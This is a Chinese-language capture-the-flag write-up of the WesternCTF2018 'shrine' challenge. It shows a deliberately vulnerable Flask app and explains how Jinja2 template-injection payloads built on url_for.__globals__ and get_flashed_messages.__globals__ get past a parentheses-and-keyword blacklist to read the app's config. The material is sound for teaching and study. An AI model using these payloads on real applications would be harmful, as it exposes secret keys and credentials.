[WesternCTF2018]shrine
[WesternCTF2018]shrine
考点
Flask SSTI获取config信息
Flask SSTI bypass
wp
直接给了代码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{<div data-gb-custom-block data-tag="set"></div>}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
访问 /shrine/
是 404,访问 /shrine/{{7*7}}
可以发现存在 SSTI 漏洞,在代码中过滤了 (, ), config, self
,并且说明了 flag
在 config
中,可以读取 app.config['FLAG']
或者 os.environ.pop('FLAG')
这里的黑名单就锁死了 __subclasses__()
以及 config
和 self.__dict__
在 flask 的官方文档中写了一个 url_for 函数,在它引用的内容中,有着 current_app
的全局变量,然后就可以直接读取 flag 了 url_for.__globals__['current_app'].config['FLAG']

同样的,还有一个 get_flashed_messages 函数

小结
Flask SSTI获取config除了
{{config}}
,还有{{url_for.__globals__['current_app'].config['FLAG']}}
和{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
最后更新于